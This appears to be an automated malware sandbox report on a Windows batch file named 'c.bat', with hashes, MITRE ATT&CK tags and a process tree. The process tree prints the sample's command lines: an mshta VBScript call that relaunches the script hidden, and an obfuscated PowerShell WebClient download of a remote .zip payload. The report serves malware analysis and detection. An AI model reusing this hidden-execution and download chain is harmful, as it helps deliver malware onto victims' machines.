d6700b00f076df721138d454547343a20467a731a76f0f8602f676cb9485bec5

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
11/11/2024, 19:10

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General

Target

c.bat
Size

228KB
MD5

a3b38f1fb45a0d979bb36e9b75d2f87d
SHA1

39bbb23feb2ca23f3c4086b60e87a9bdc8dd061a
SHA256

d6700b00f076df721138d454547343a20467a731a76f0f8602f676cb9485bec5
SHA512

4ec8b722e1f12e3c29cde328bf4d4e399410c44097379944b0e5f2aca48ed59973cdfe53664da1de5201fbf630660550fb44f7832ab3e19f93717d366cdd4e99
SSDEEP

3072:Q4nDlXCJFOY9/dyPKgMGfGiPovhfpla1R1EYkOipIUqntjj9YjMybguqJb5HIPv9:1Wb9IPjuplaP1Vgr0nSYJmBN5

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2624	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2624	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2892 wrote to memory of 2628	2892	cmd.exe	31
PID 2892 wrote to memory of 2628	2892	cmd.exe	31
PID 2892 wrote to memory of 2628	2892	cmd.exe	31
PID 2892 wrote to memory of 2464	2892	cmd.exe	32
PID 2892 wrote to memory of 2464	2892	cmd.exe	32
PID 2892 wrote to memory of 2464	2892	cmd.exe	32
PID 2464 wrote to memory of 2780	2464	mshta.exe	33
PID 2464 wrote to memory of 2780	2464	mshta.exe	33
PID 2464 wrote to memory of 2780	2464	mshta.exe	33
PID 2780 wrote to memory of 2676	2780	cmd.exe	35
PID 2780 wrote to memory of 2676	2780	cmd.exe	35
PID 2780 wrote to memory of 2676	2780	cmd.exe	35
PID 2780 wrote to memory of 2368	2780	cmd.exe	36
PID 2780 wrote to memory of 2368	2780	cmd.exe	36
PID 2780 wrote to memory of 2368	2780	cmd.exe	36
PID 2780 wrote to memory of 2624	2780	cmd.exe	37
PID 2780 wrote to memory of 2624	2780	cmd.exe	37
PID 2780 wrote to memory of 2624	2780	cmd.exe	37

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\c.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2892
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:2628
- C:\Windows\system32\mshta.exe
  mshta vbscript:createobject("wscript.shell").run("""C:\Users\Admin\AppData\Local\Temp\c.bat"" ::",0)(window.close)
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2464
- - C:\Windows\system32\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" ::"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2780
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:2676
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [N~24, 1%e%HKsXQ]?uCWUi%D1%H?XlOr%p%b?y?X[B%n%s#nxkc$%f%MAj$d%c%cQlFxw%t%_qvjkk%e%pKX(QH%j%llFbrz%A1%doSOt%c%,CMfQO%z%$crX$mf%e%(Euwih$%z%?X(So%n%cN$mP%z%#icen%w%XwZFESA%E1%XOi[OOd%j%$Eyjj%a%IM,C?e#%p%cUvEw#CNtvXiT,rwRwpEJBU%E1%?asUA%w%fxVzu%d%fWHS?Tz::2; (New-Object -TypeName System.Net.WebClient).DownloadFile('https~1, 1Bb?gw[rmtq%v%vogdc]%w%j][]zCA%t%TgrYf#%y%lyqEnrR%r%TT??TaD%o%$jdRQM%z%(lyMmPD%h%)aKqa%l%uFBjMfH%t%jBHRRoNcSXo%n%NDSMQ_P%z%gXNaGK%x%Np_FOSjwFCn%g%yFr[Lg%t%WHfBLeD%p%RwCkA%e%ztWyIf%y%mZhCP%l%RtHq$dq%x%hfuMUht%a%?mXdoAm%w%TsZRd%f%m#(XnjE%r%lRNSXeADLj%k%ofkK[d%t%O]yT,t%a%)pvut#QcxHX(#lTh#uEyso%D1%mK$CZ%j%CowxrQ[%d%[]QT_%e%SETlC%p%DpU?Wi%x%)tRBzJFeAv)%T1%aGzwD%Z1%luJUdMa$sbnuS%A1%UgtfKH_%l%,NlMzpP%e%Lvn)gU%s%WWZ#oteyyp_Jm_BZZhZgi(FC%R1%cZPomFt%p%#B,cW%e%d]h$wjp%E1%k[dbx_,%p%Q_i[?%x%kUZ(Jk%Temp:~-16, 1%A1%wuCDaah%l%m#vzk(V%e%x$daWR%s%x]$qiQArCxhz$RguiEtw$Wgnvv#tW%i%P(T_t%Q1%mrzYVRM%D1%qG,(GO%Z1%nrTYL%u%KELqdEl1Q.zip') "
      4⤵
      PID:2368
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2624-5-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2624-6-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download